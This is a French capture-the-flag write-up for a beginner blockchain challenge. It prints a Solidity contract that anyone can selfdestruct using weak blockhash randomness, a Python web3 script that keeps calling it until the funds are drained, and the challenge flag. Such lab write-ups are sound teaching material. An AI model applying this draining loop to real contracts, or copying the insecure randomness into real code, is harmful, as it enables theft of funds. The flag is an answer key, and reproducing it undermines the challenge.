Russian Roulette

Catégorie: Blockchain Difficulté: very-easy Flag: HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}

Challenge

Description


Welcome to The Fray. This is a warm-up to test if you have what it takes to tackle the challenges of the realm. Are you brave enough?

Analyse du contrat

Le contrat possède une fonction publique qui permet de le détruire selon un nombre pseudo-aléatoire

ragma solidity 0.8.23;

contract RussianRoulette {

    constructor() payable {
        // i need more bullets
    }

    function pullTrigger() public returns (string memory) {
        if (uint256(blockhash(block.number - 1)) % 10 == 7) {
            selfdestruct(payable(msg.sender)); // 💀
        } else {
		return "im SAFU ... for now";
	    }
    }
}
pragma solidity 0.8.23;

import {RussianRoulette} from "./RussianRoulette.sol";

contract Setup {
    RussianRoulette public immutable TARGET;

    constructor() payable {
        TARGET = new RussianRoulette{value: 10 ether}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

Le flag n’est récupérable que si le contat RussianRoulette a balance vide. Donc l’objectif ici est d’appeler la fonction pullTrigger jusqu’à ce que le contrat soit détruit.


Script de résolution

from web3 import Web3
import requests
import solcx
from pwnlib.tubes.remote import remote

VERSION = '0.8.23'
solcx.install_solc(version=VERSION)
solcx.set_solc_version(version=VERSION)

class Web3Client:
	def __init__(self, host, port):
		# Récupération des adresses des contrats
		base = f"{host}:{port}"
		self.w3 = Web3(Web3.HTTPProvider(f"http://{base}"))
		self.info = requests.get(f"http://{base}/connection_info").json()
		self.contracts = {
			'setup': self.get_contract('Setup.sol', self.info['setupAddress']),
			'russian_roulette': self.get_contract('RussianRoulette.sol', self.info['TargetAddress']),
		}

	def get_contract(self, filename: str, address: str):
		compiled_sol = solcx.compile_files([filename])
		key = filename + ':' + filename.split('.')[0]
		interface = compiled_sol[key]
		return self.w3.eth.contract(address=address, abi=interface['abi'])

	# Attend la fin d'une transaction
	def wait(self, transaction_hash):
		self.w3.eth.wait_for_transaction_receipt(transaction_hash)

def solve(host, port1, port2):
	# Connexion via RPC à la blockchain
	w3_client = Web3Client(host, port1)
	
	# Tant que la balance du contrat n'est pas vide
	while w3_client.w3.eth.get_balance(w3_client.contracts['russian_roulette'].address) != 0:
		print("Pull trigger...")
		# Appel de la fonction pullTigger
		w3_client.wait(w3_client.contracts['russian_roulette'].functions.pullTrigger().transact())
	print("Contract lost 💀")

	# Connexion via socket au serveur raw
	so_client = remote(host, port2)
	so_client.sendlineafter(b'action? ', b'3')
	# Récupération du flag
	flag = so_client.recvall(timeout=1).decode().strip()
	print(f"Flag: {flag}")

if __name__ == '__main__':
	solve('94.237.54.170', 37012, 39495)

Dernière mise à jour

Cet article vous a-t-il été utile ?